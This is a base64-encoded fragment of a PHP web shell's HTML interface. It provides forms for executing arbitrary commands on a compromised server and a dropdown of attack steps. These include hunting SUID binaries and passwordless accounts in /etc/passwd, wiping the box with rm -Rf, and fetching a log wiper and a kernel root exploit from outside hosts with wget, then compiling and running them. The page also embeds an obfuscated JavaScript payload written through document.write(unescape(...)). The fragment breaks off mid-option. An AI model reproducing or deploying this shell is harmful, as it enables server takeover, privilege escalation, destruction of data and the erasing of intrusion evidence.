mNlbnRlciI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kJmQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/PiI+PGI+Q29tbWFuZCBleGVjdXRlPC9iPjwvYT4gOjo8L2I+PC9wPjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPkVudGVyOiA8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJjbWQiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY21kKTsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj5TZWxlY3Q6IDwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxzZWxlY3QgbmFtZT0iY21kIj48P3BocCBmb3JlYWNoICgkY21kYWxpYXNlcyBhcyAkYWxzKSB7ZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzFdKS4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMF0pLiI8L29wdGlvbj4iO30gPz48L3NlbGVjdD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+PC9mb3JtPjwvdGQ+PC90cj48L1RBQkxFPgo8YnI+CjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMTE2IiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4KPHRyPjx0ZCBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cCBhbGlnbj0iY2VudGVyIj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1jbWQmZD08P3BocCBlY2hvIHVybGVuY29kZSgkZCk7ID8+Ij48Yj5TaGFkb3cncyB0cmlja3MgOkQgPC9iPjwvYT4gOjo8L2I+PC9wPjwvdGQ+PC90cj4KPHRyPgogIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj4KICAgIDxkaXYgYWxpZ249ImNlbnRlciI+VXNlZnVsIENvbW1hbmRzIAogICAgPC9kaXY+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KPCEtLQpmRjdlU0Q4PW5ldyBBcnJheSgpOwpmRjdlU0Q4WzBdPSIlM0NzY3JpcHQlM0UlMEFkb2N1IjsKZkY3ZVNEOFsxXT0ibWVudC53cml0ZSUyOHVuZSI7CmZGN2VTRDhbMl09InNjYXBlJTI4JTIyJTI1M0NzY3JpIjsKZkY3ZVNEOFszXT0icHQlMjUyMHR5cGUlMjUzRCUyNSI7CmZGN2VTRDhbNF09IjIydGV4dC9qYXZhc2NyIjsKZkY3ZVNEOFs1XT0iaXB0JTI1MjIlMjUzRWRvIjsKZkY3ZVNEOFs2XT0iY3VtZW50LndyaXRlJTI1IjsKZkY3ZVNEOFs3XT0iMjglMjUyNyUyNTVDdTAwIjsKZkY3ZVNEOFs4XT0iM2MlMjU1Q3UwMDczJTI1NUMiOwpmRjdlU0Q4WzldPSJ1MDA2MyUyNTVDdTAwNzIiOwpmRjdlU0Q4WzEwXT0iJTI1NUN1MDA2OSUyNTVDdSI7CmZGN2VTRDhbMTFdPSIwMDcwJTI1NUN1MDA3IjsKZkY3ZVNEOFsxMl09IjQlMjU1Q3UwMDIwJTI1NUMiOwpmRjdlU0Q4WzEzXT0idTAwNzQlMjU1Q3UwMDciOwpmRjdlU0Q4WzE0XT0iOSUyNTVDdTAwNzAlMjU1Q3UiOwpmRjdlU0Q4WzE1XT0iMDA2NSUyNTVDdTAwM2QlMjUiOwpmRjdlU0Q4WzE2XT0iNUN1MDAyMiUyNTVDdTAiOwpmRjdlU0Q4WzE3XT0iMDc0JTI1NUN1MDA2NSUyNTVDIjsKZkY3ZVNEOFsxOF09InUwMDc4JTI1NUN1MDA3NCUyNSI7CmZGN2VTRDhbMTldPSI1Q3UwMDJmJTI1NUN1IjsKZkY3ZVNEOFsyMF09IjAwNmElMjU1Q3UwMDYxJTI1NSI7CmZGN2VTRDhbMjFdPSJDdTAwNzYlMjU1Q3UwIjsKZkY3ZVNEOFsyMl09IjA2MSUyNTVDdTAwNzMlMjUiOwpmRjdlU0Q4WzIzXT0iNUN1MDA2MyUyNTVDdTAwIjsKZkY3ZVNEOFsyNF09IjcyJTI1NUN1MDA2OSUyNSI7CmZGN2VTRDhbMjVdPSI1Q3UwMDcwJTI1NUN1IjsKZkY3ZVNEOFsyNl09IjAwNzQlMjU1Q3UwMDIyIjsKZkY3ZVNEOFsyN109IiUyNTVDdTAwM2UlMjU1QyI7CmZGN2VTRDhbMjhdPSJ1MDA2NCUyNTVDdTAwIjsKZkY3ZVNEOFsyOV09IjZmJTI1NUN1MDA2MyUyNTVDIjsKZkY3ZVNEOFszMF09InUwMDc1JTI1NUN1MDA2IjsKZkY3ZVNEOFszMV09ImQlMjU1Q3UwMDY1JTI1NUN1IjsKZkY3ZVNEOFszMl09IjAwNmUlMjU1Q3UwMDc0JTI1NSI7CmZGN2VTRDhbMzNdPSJDdTAwMmUlMjU1Q3UwMCI7CmZGN2VTRDhbMzRdPSI3NyUyNTVDdTAwNzIlMjUiOwpmRjdlU0Q4WzM1XT0iNUN1MDA2OSUyNTVDdSI7CmZGN2VTRDhbMzZdPSIwMDc0JTI1NUN1MDA2NSUyNSI7CmZGN2VTRDhbMzddPSI1Q3UwMDI4JTI1NUN1MDAyIjsKZkY3ZVNEOFszOF09IjclMjU1Q3UwMDVjJTI1NUN1IjsKZkY3ZVNEOFszOV09IjAwNzUlMjU1Q3UwMDMwIjsKZkY3ZVNEOFs0MF09IiUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFs0MV09IjAzMyUyNTVDdTAwNjMlMjUiOwpmRjdlU0Q4WzQyXT0iNUN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbNDNdPSI1JTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbNDRdPSIwMDMwJTI1NUN1MDAzNSI7CmZGN2VTRDhbNDVdPSIlMjU1Q3UwMDMzJTI1NUMiOwpmRjdlU0Q4WzQ2XT0idTAwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFs0N109IiUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4WzQ4XT0iMDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbNDldPSI0JTI1NUN1MDAzMyUyNTUiOwpmRjdlU0Q4WzUwXT0iQ3UwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFs1MV09IjUlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFs1Ml09IjAwMzAlMjU1Q3UwMDM1JTI1NSI7CmZGN2VTRDhbNTNdPSJDdTAwMzIlMjU1Q3UwMCI7CmZGN2VTRDhbNTRdPSI1YyUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbNTVdPSJ1MDAzMCUyNTVDdTAwMzAlMjUiOwpmRjdlU0Q4WzU2XT0iNUN1MDAzNCUyNTVDdTAwIjsKZkY3ZVNEOFs1N109IjM5JTI1NUN1MDA1YyUyNTVDdSI7CmZGN2VTRDhbNThdPSIwMDc1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzU5XT0iQ3UwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFs2MF09IjUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzYxXT0idTAwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFs2Ml09IiUyNTVDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbNjNdPSIzMCUyNTVDdTAwMzUlMjU1IjsKZkY3ZVNEOFs2NF09IkN1MDAzNCUyNTVDdTAwNSI7CmZGN2VTRDhbNjVdPSJjJTI1NUN1MDA3NSUyNTVDIjsKZkY3ZVNEOFs2Nl09InUwMDMwJTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbNjddPSI1Q3UwMDMyJTI1NUN1IjsKZkY3ZVNEOFs2OF09IjAwMzAlMjU1Q3UwMDVjJTI1IjsKZkY3ZVNEOFs2OV09IjVDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbNzBdPSIzMCUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFs3MV09IkN1MDAzNSUyNTVDdTAwMyI7CmZGN2VTRDhbNzJdPSIzJTI1NUN1MDA1YyUyNTVDdTAiOwpmRjdlU0Q4WzczXT0iMDc1JTI1NUN1MDAzMCI7CmZGN2VTRDhbNzRdPSIlMjU1Q3UwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4Wzc1XT0iMzUlMjU1Q3UwMDMyJTI1IjsKZkY3ZVNEOFs3Nl09IjVDdTAwNWMlMjU1Q3UwMCI7CmZGN2VTRDhbNzddPSI3NSUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4Wzc4XT0iMDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbNzldPSI0JTI1NUN1MDAzMyUyNTVDdSI7CmZGN2VTRDhbODBdPSIwMDVjJTI1NUN1MDA3NSUyNSI7CmZGN2VTRDhbODFdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFs4Ml09IjAwMzAlMjU1Q3UwMDMzIjsKZkY3ZVNEOFs4M109IiUyNTVDdTAwNjQlMjU1Q3UwIjsKZkY3ZVNEOFs4NF09IjA1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4Wzg1XT0iNUN1MDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbODZdPSIwJTI1NUN1MDAzNiUyNTUiOwpmRjdlU0Q4Wzg3XT0iQ3UwMDM4JTI1NUN1MCI7CmZGN2VTRDhbODhdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4Wzg5XT0idTAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzkwXT0iMCUyNTVDdTAwMzclMjU1QyI7CmZGN2VTRDhbOTFdPSJ1MDAzNCUyNTVDdTAwNWMlMjUiOwpmRjdlU0Q4WzkyXT0iNUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbOTNdPSIwMDMwJTI1NUN1MDAzMCI7CmZGN2VTRDhbOTRdPSIlMjU1Q3UwMDM3JTI1NUN1IjsKZkY3ZVNEOFs5NV09IjAwMzQlMjU1Q3UwMDVjJTI1IjsKZkY3ZVNEOFs5Nl09IjVDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbOTddPSIzMCUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4Wzk4XT0iMDAzNyUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFs5OV09IkN1MDA1YyUyNTVDdTAwIjsKZkY3ZVNEOFsxMDBdPSI3NSUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFsxMDFdPSJDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTAyXT0iMzMlMjU1Q3UwMDYxJTI1NUN1IjsKZkY3ZVNEOFsxMDNdPSIwMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMTA0XT0iJTI1NUN1MDAzMCUyNTVDIjsKZkY3ZVNEOFsxMDVdPSJ1MDAzMCUyNTVDdTAwMzIlMjUiOwpmRjdlU0Q4WzEwNl09IjVDdTAwNjYlMjU1Q3UwMCI7CmZGN2VTRDhbMTA3XT0iNWMlMjU1Q3UwMDc1JTI1NUN1IjsKZkY3ZVNEOFsxMDhdPSIwMDMwJTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTA5XT0iNUN1MDAzMiUyNTVDdTAiOwpmRjdlU0Q4WzExMF09IjA2NiUyNTVDdTAwNWMiOwpmRjdlU0Q4WzExMV09IiUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzExMl09IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsxMTNdPSI1Q3UwMDM2JTI1NUN1MDAzIjsKZkY3ZVNEOFsxMTRdPSI0JTI1NUN1MDA1YyUyNTVDIjsKZkY3ZVNEOFsxMTVdPSJ1MDA3NSUyNTVDdTAwMyI7CmZGN2VTRDhbMTE2XT0iMCUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTE3XT0idTAwMzYlMjU1Q3UwMCI7CmZGN2VTRDhbMTE4XT0iMzElMjU1Q3UwMDVjJTI1NSI7CmZGN2VTRDhbMTE5XT0iQ3UwMDc1JTI1NUN1MDAiOwpmRjdlU0Q4WzEyMF09IjMwJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTIxXT0iMDAzNyUyNTVDdTAwMzQiOwpmRjdlU0Q4WzEyMl09IiUyNTVDdTAwNWMlMjU1Q3UwMCI7CmZGN2VTRDhbMTIzXT0iNzUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzEyNF09InUwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFsxMjVdPSI2JTI1NUN1MDAzMSUyNTUiOwpmRjdlU0Q4WzEyNl09IkN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbMTI3XT0iNSUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFsxMjhdPSJDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsxMjldPSIwMzIlMjU1Q3UwMDY1IjsKZkY3ZVNEOFsxMzBdPSIlMjU1Q3UwMDVjJTI1NUMiOwpmRjdlU0Q4WzEzMV09InUwMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTMyXT0iNUN1MDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbMTMzXT0iNyUyNTVDdTAwMzQlMjU1Q3UwIjsKZkY3ZVNEOFsxMzRdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzEzNV09InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzEzNl09IjMwJTI1NUN1MDAzMyUyNTVDIjsKZkY3ZVNEOFsxMzddPSJ1MDAzMCUyNTVDdTAwNSI7CmZGN2VTRDhbMTM4XT0iYyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzEzOV09IjAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzE0MF09IjAlMjU1Q3UwMDMzJTI1NUMiOwpmRjdlU0Q4WzE0MV09InUwMDMwJTI1NUN1MDA1IjsKZkY3ZVNEOFsxNDJdPSJjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE0M109IkN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzE0NF09IjAzMCUyNTVDdTAwMzYlMjU1QyI7CmZGN2VTRDhbMTQ1XT0idTAwNjMlMjU1Q3UwMDVjIjsKZkY3ZVNEOFsxNDZdPSIlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzE0N109InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzE0OF09IjMwJTI1NUN1MDAzNyUyNSI7CmZGN2VTRDhbMTQ5XT0iNUN1MDAzMyUyNTVDdTAwIjsKZkY3ZVNEOFsxNTBdPSI1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsxNTFdPSJDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTUyXT0iMzAlMjU1Q3UwMDMyJTI1NSI7CmZGN2VTRDhbMTUzXT0iQ3UwMDY1JTI1NUN1MDA1YyI7CmZGN2VTRDhbMTU0XT0iJTI1NUN1MDA3NSUyNTVDIjsKZkY3ZVNEOFsxNTVdPSJ1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFsxNTZdPSIzMCUyNTVDdTAwMzYlMjU1Q3UiOwpmRjdlU0Q4WzE1N109IjAwNjYlMjU1Q3UwMDVjJTI1NSI7CmZGN2VTRDhbMTU4XT0iQ3UwMDc1JTI1NUN1MDAiOwpmRjdlU0Q4WzE1OV09IjMwJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTYwXT0iMDAzNyUyNTVDdTAwMzIlMjUiOwpmRjdlU0Q4WzE2MV09IjVDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzE2Ml09IjUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzE2M109InUwMDMwJTI1NUN1MDAzNiUyNSI7CmZGN2VTRDhbMTY0XT0iNUN1MDAzNyUyNTVDdTAwIjsKZkY3ZVNEOFsxNjVdPSI1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsxNjZdPSJDdTAwMzAlMjU1Q3UwMDMwIjsKZkY3ZVNEOFsxNjddPSIlMjU1Q3UwMDMyJTI1NUN1MDAiOwpmRjdlU0Q4WzE2OF09IjY2JTI1NUN1MDA1YyUyNTUiOwpmRjdlU0Q4WzE2OV09IkN1MDA3NSUyNTVDdTAiOwpmRjdlU0Q4WzE3MF09IjAzMCUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTcxXT0idTAwMzclMjU1Q3UwMDM3IjsKZkY3ZVNEOFsxNzJdPSIlMjU1Q3UwMDVjJTI1NUN1IjsKZkY3ZVNEOFsxNzNdPSIwMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTc0XT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTc1XT0iMDAzNiUyNTVDdTAwMzglMjU1IjsKZkY3ZVNEOFsxNzZdPSJDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzE3N109IjUlMjU1Q3UwMDMwJTI1NSI7CmZGN2VTRDhbMTc4XT0iQ3UwMDMwJTI1NUN1MDAzNiI7CmZGN2VTRDhbMTc5XT0iJTI1NUN1MDAzNSUyNTVDdTAwIjsKZkY3ZVNEOFsxODBdPSI1YyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzE4MV09IjAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzE4Ml09IjAlMjU1Q3UwMDM3JTI1NUMiOwpmRjdlU0Q4WzE4M109InUwMDMyJTI1NUN1MDAiOwpmRjdlU0Q4WzE4NF09IjVjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE4NV09IkN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzE4Nl09IjAzMCUyNTVDdTAwMzYlMjUiOwpmRjdlU0Q4WzE4N109IjVDdTAwMzUlMjU1Q3UwIjsKZkY3ZVNEOFsxODhdPSIwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFsxODldPSIlMjU1Q3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMTkwXT0iMDMwJTI1NUN1MDAzMiI7CmZGN2VTRDhbMTkxXT0iJTI1NUN1MDA2NSUyNTVDdSI7CmZGN2VTRDhbMTkyXT0iMDA1YyUyNTVDdTAwNzUiOwpmRjdlU0Q4WzE5M109IiUyNTVDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTk0XT0iMzAlMjU1Q3UwMDM2JTI1IjsKZkY3ZVNEOFsxOTVdPSI1Q3UwMDYxJTI1NUN1IjsKZkY3ZVNEOFsxOTZdPSIwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFsxOTddPSI1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzE5OF09IkN1MDAzMCUyNTVDdTAwMzciOwpmRjdlU0Q4WzE5OV09IiUyNTVDdTAwMzMlMjU1Q3UwIjsKZkY3ZVNEOFsyMDBdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzIwMV09InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzIwMl09IjMwJTI1NUN1MDAzMyUyNTVDdSI7CmZGN2VTRDhbMjAzXT0iMDA2NSUyNTVDdTAwNSI7CmZGN2VTRDhbMjA0XT0iYyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzIwNV09IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsyMDZdPSI1Q3UwMDMzJTI1NUN1MDAiOwpmRjdlU0Q4WzIwN109IjYzJTI1NUN1MDA1YyUyNTVDIjsKZkY3ZVNEOFsyMDhdPSJ1MDA3NSUyNTVDdTAwMzAiOwpmRjdlU0Q4WzIwOV09IiUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMTBdPSIwMzIlMjU1Q3UwMDY2JTI1NSI7CmZGN2VTRDhbMjExXT0iQ3UwMDVjJTI1NUN1MCI7CmZGN2VTRDhbMjEyXT0iMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMjEzXT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjE0XT0iMDAzNSUyNTVDdTAwMzMlMjU1IjsKZkY3ZVNEOFsyMTVdPSJDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzIxNl09IjUlMjU1Q3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMjE3XT0iMDMwJTI1NUN1MDAzNCUyNTUiOwpmRjdlU0Q4WzIxOF09IkN1MDAzMyUyNTVDdTAwIjsKZkY3ZVNEOFsyMTldPSI1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4WzIyMF09IjVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMjFdPSIwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFsyMjJdPSIlMjU1Q3UwMDMyJTI1NUN1MCI7CmZGN2VTRDhbMjIzXT0iMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMjI0XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjI1XT0iMDAzMCUyNTVDdTAwMzQlMjUiOwpmRjdlU0Q4WzIyNl09IjVDdTAwMzklMjU1Q3UwIjsKZkY3ZVNEOFsyMjddPSIwNWMlMjU1Q3UwMDc1JTI1IjsKZkY3ZVNEOFsyMjhdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMjldPSIwMDMwJTI1NUN1MDAzNSUyNSI7CmZGN2VTRDhbMjMwXT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjMxXT0iMDA1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsyMzJdPSJDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMzNdPSIwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFsyMzRdPSIlMjU1Q3UwMDM0JTI1NUN1MCI7CmZGN2VTRDhbMjM1XT0iMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMjM2XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjM3XT0iMDAzMCUyNTVDdTAwMzMlMjU1IjsKZkY3ZVNEOFsyMzhdPSJDdTAwNjUlMjU1Q3UwIjsKZkY3ZVNEOFsyMzldPSIwMjclMjU1Q3UwMDI5IjsKZkY3ZVNEOFsyNDBdPSIlMjU1Q3UwMDNjJTI1NUMiOwpmRjdlU0Q4WzI0MV09InUwMDJmJTI1NUN1MDA3MyUyNSI7CmZGN2VTRDhbMjQyXT0iNUN1MDA2MyUyNTVDdTAwNyI7CmZGN2VTRDhbMjQzXT0iMiUyNTVDdTAwNjklMjU1Q3UiOwpmRjdlU0Q4WzI0NF09IjAwNzAlMjU1Q3UwMDciOwpmRjdlU0Q4WzI0NV09IjQlMjU1Q3UwMDNlJTI1MjclMjUiOwpmRjdlU0Q4WzI0Nl09IjI5JTI1M0Mvc2NyaXB0JTI1IjsKZkY3ZVNEOFsyNDddPSIzRSUyMiUyOSUyOSUzQiUwQSUzQy9zY3JpIjsKZkY3ZVNEOFsyNDhdPSJwdCUzRSI7CmZvciAoaSA9IDA7IGkgPCBmRjdlU0Q4Lmxlbmd0aDsgaSArKykKewogICAgZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoZkY3ZVNEOFtpXSkpCn0KLy8gLS0+Cjwvc2NyaXB0PiAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPgogICAgICAgICAgPFNFTEVDVCBOQU1FPSJjbWQiPgogICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ1bmFtZSAtYSI+S2VybmVsIHZlcnNpb24KICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ3Ij5Mb2dnZWQgaW4gdXNlcnMKICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Imxhc3Rsb2ciPkxhc3QgdG8gY29ubmVjdAogICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiPlN1aWQgYmlucwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImN1dCAtZDogLWYxLDIsMyAvZXRjL3Bhc3N3ZCB8IGdyZXAgOjoiPlVTRVIgV0lUSE9VVCBQQVNTV09SRCEKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJmaW5kIC9ldGMvIC10eXBlIGYgLXBlcm0gLW8rdyAyPiAvZGV2L251bGwiPldyaXRlIGluIC9ldGMvPwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndoaWNoIHdnZXQgY3VybCB3M20gbHlueCI+RG93bmxvYWRlcnM/CiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iY2F0IC9wcm9jL3ZlcnNpb24gL3Byb2MvY3B1aW5mbyI+Q1BVSU5GTwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Im5ldHN0YXQgLWF0dXAgfCBncmVwIElTVCI+T3BlbiBwb3J0cwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9ImxvY2F0ZSBnY2MiPmdjYyBpbnN0YWxsZWQ/CgkJCQkJPE9QVElPTiBWQUxVRT0icm0gLVJmIj5Gb3JtYXQgYm94IChEQU5HRVJPVVMpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0id2dldCBodHRwOi8vd3d3LnBhY2tldHN0b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVuZXRyYXRpb24vbG9nLXdpcGVycy96YXAyLmMiPldJUEVMT0dTIFBUMSAoSWYgd2dldCBpbnN0YWxsZWQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iZ2NjIHphcDIuYyAtbyB6YXAyIj5XSVBFTE9HUyBQVDIKICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL3phcDIiPldJUEVMT0dTIFBUMwogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndnZXQgaHR0cDovL2Z0cC5wb3dlcm5ldC5jb20udHIvc3VwZXJtYWlsL2RlYnVnL2szIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMSAoSWYgd2dldCBpbnN0YWxsZWQpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAxIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDEpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAyIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDIpCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAzIj5LZXJuZWwgYX